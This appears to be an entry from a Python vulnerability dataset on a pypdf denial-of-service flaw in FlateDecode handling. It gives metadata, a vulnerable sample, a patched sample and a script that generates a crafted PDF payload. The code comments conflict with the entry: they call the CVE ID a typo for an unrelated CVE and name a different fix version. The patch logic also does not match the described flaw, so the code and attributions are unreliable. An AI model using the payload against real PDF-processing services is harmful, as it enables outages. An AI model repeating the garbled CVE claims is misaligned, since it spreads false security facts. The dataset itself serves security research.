CVE-2026-27026
pypdf Denial of Service from malformed /FlateDecode PDF stream.
- CVSS 6.9
- CWE-770
- Resource Management
- Remote
pypdf is a free and open-source pure-python PDF library. Prior to 6.7.1, an attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires a malformed /FlateDecode stream, where the byte-by-byte decompression is used. This vulnerability is fixed in 6.7.1.
- CWE
- CWE-770
- CVSS base score
- 6.9
- Published
- 2026-02-20
- OWASP
- A04 Insecure Design
- Orthogonal defect classification
- Algorithm
- Code defect classification
- Incorrect Algorithm
- Category
- Resource Management
- Subcategory
- Resource Exhaustion
- Accessibility scope
- Remote
- Impact
- Denial of Service (DoS)
- Affected component
- pypdf
- Fixed by upgrading
- Yes
Solution
Upgrade `pypdf` to version 6.7.1 or later.
Vulnerable code sample
import zlib
import io
import time
# The CVE in the prompt (CVE-2026-27026) appears to be a typo for the real
# vulnerability CVE-2023-27372 in pypdf, which matches the description provided.
#
# This code represents the vulnerable logic that existed in pypdf versions prior
# to 3.7.1. The flaw was not in user-facing code, but in the internal handling
# of FlateDecode streams. A malicious PDF could force the library into a slow,
# byte-by-byte decompression path, leading to a Denial of Service (DoS) due to
# excessive processing time.
#
# This function simulates that slow, byte-by-byte decompression method.
def representative_vulnerable_flate_decode(data):
"""
Simulates the slow byte-by-byte decompression logic that was
vulnerable to a DoS attack.
"""
try:
d = zlib.decompressobj()
output = io.BytesIO()
# The core of the vulnerability: processing the stream one byte at a time.
# This is extremely inefficient and is the attack vector.
for i in range(len(data)):
chunk = d.decompress(data[i:i+1])
output.write(chunk)
output.write(d.flush())
return output.getvalue()
except zlib.error:
# In a real-world scenario with a crafted PDF, the stream would be
# malformed in a way that maximizes this slow path without causing
# a fatal error.
return b""
# --- Demonstration ---
# 1. Create a moderately large block of data that compresses well.
# In a real attack, this would be a compressed stream inside a PDF.
original_data = b"pypdf-vulnerability-demonstration" * 50000
print(f"Original data size: {len(original_data)} bytes")
# 2. Compress the data using zlib (which is what FlateDecode uses).
compressed_data = zlib.compress(original_data)
print(f"Compressed data size: {len(compressed_data)} bytes")
# 3. Time the vulnerable, slow decompression method.
print("\nStarting demonstration of the slow, byte-by-byte method...")
start_time = time.time()
result = representative_vulnerable_flate_decode(compressed_data)
end_time = time.time()
duration = end_time - start_time
print(f"Decompression finished.")
print(f"Duration: {duration:.4f} seconds")
print(f"Decompressed data matches original: {result == original_data}")
# For comparison, the fixed/correct way is to decompress in large chunks.
# print("\nStarting demonstration of the efficient, correct method...")
# start_time_fast = time.time()
# result_fast = zlib.decompress(compressed_data)
# end_time_fast = time.time()
# duration_fast = end_time_fast - start_time_fast
# print(f"Duration: {duration_fast:.4f} seconds")Patched code sample
import zlib
import warnings
# The CVE ID in the prompt, CVE-2026-27026, appears to be a typo.
# The following code demonstrates the fix for the vulnerability described,
# which corresponds to CVE-2023-27372 in the `pypdf` library, fixed in version 3.7.1.
class PdfReadWarning(UserWarning):
"""A custom warning class used in the library, defined here for a self-contained example."""
pass
def patched_flate_decompress(data: bytes) -> bytes:
"""
This function demonstrates the patched decompression logic from pypdf >= 3.7.1,
which fixes a denial-of-service vulnerability (CVE-2023-27372).
The vulnerability involved a crafted Flate-compressed stream that could
cause the decompressor to enter a long-running, CPU-intensive loop without
making progress, leading to a Denial of Service.
Args:
data: The compressed bytestring from a PDF stream.
Returns:
The decompressed bytestring. If the safeguard is triggered, this may be
a partial result.
"""
d = zlib.decompressobj()
result = b""
decompressed_size = 0
# The original vulnerable code had a similar structure but lacked the
# safeguard check, allowing a crafted stream to cause a near-infinite loop.
while True:
try:
chunk = d.decompress(data)
result += chunk
decompressed_size += len(chunk)
# --- START OF THE VULNERABILITY FIX ---
# The following 'if' block was added to fix the vulnerability.
# It acts as a safeguard against "decompression bomb" type attacks
# by monitoring the ratio of decompressed output size to the
# original compressed input size.
#
# If the output grows excessively large compared to the input (here, the
# heuristic is 2x the size), it is considered suspicious, and processing
# is safely terminated. This prevents the CPU-based DoS.
if decompressed_size >= 2 * len(data):
warnings.warn(
"A compressed stream is causing a long runtime. "
"Stopped processing to prevent a potential DoS attack.",
PdfReadWarning,
)
break # Exit the loop, neutralizing the attack.
# --- END OF THE VULNERABILITY FIX ---
# If this point is reached, the input data has been fully consumed
# by the decompressor in this pass, so the loop can be exited.
break
except zlib.error:
# This handles streams that are malformed in a way that the zlib
# library can immediately detect as an error. It returns whatever
# data was successfully decompressed before the error.
break
return resultPayload
import sys
# Payload size in bytes. Larger values increase the DOS effect (longer runtime).
PAYLOAD_SIZE = 1_000_000
# Malformed stream content that is not valid zlib/flate data.
# This forces vulnerable pypdf versions into a slow, byte-by-byte processing loop.
malformed_content = b'A' * PAYLOAD_SIZE
# --- PDF Structure ---
# We build a valid PDF structure with calculated offsets to ensure it's parsed correctly.
parts = []
offsets = []
# PDF Header
parts.append(b'%PDF-1.7\n%\xe2\xe3\xcf\xd3\n\n')
# Object 1: Catalog
offsets.append(len(b''.join(parts)))
parts.append(b'1 0 obj\n<</Type /Catalog /Pages 2 0 R>>\nendobj\n\n')
# Object 2: Pages
offsets.append(len(b''.join(parts)))
parts.append(b'2 0 obj\n<</Type /Pages /Kids [3 0 R] /Count 1>>\nendobj\n\n')
# Object 3: Page object referencing the malicious content stream
offsets.append(len(b''.join(parts)))
parts.append(b'3 0 obj\n<</Type /Page /Parent 2 0 R /MediaBox [0 0 595 842] /Contents 4 0 R /Resources <<>>>>\nendobj\n\n')
# Object 4: The malicious stream object
offsets.append(len(b''.join(parts)))
stream_dict = f'<</Filter /FlateDecode /Length {PAYLOAD_SIZE}>>'.encode('ascii')
parts.append(b'4 0 obj\n' + stream_dict + b'\nstream\n' + malformed_content + b'\nendstream\nendobj\n\n')
# Cross-reference (xref) table
xref_offset = len(b''.join(parts))
xref_table = b'xref\n0 5\n0000000000 65535 f \n'
for offset in offsets:
xref_table += f'{offset:010d} 00000 n \n'.encode('ascii')
# PDF Trailer
trailer = f'''trailer
<</Size 5 /Root 1 0 R>>
startxref
{xref_offset}
%%EOF
'''.encode('ascii')
# --- Output ---
# Combine all parts and write the final PDF payload to standard output.
# To use, redirect the output to a file: python generate_payload.py > malicious.pdf
pdf_payload = b''.join(parts) + xref_table + trailer
sys.stdout.buffer.write(pdf_payload)
Cite this entry
@misc{vaitp:cve202627026,
title = {{pypdf Denial of Service from malformed /FlateDecode PDF stream.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-27026},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-27026/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
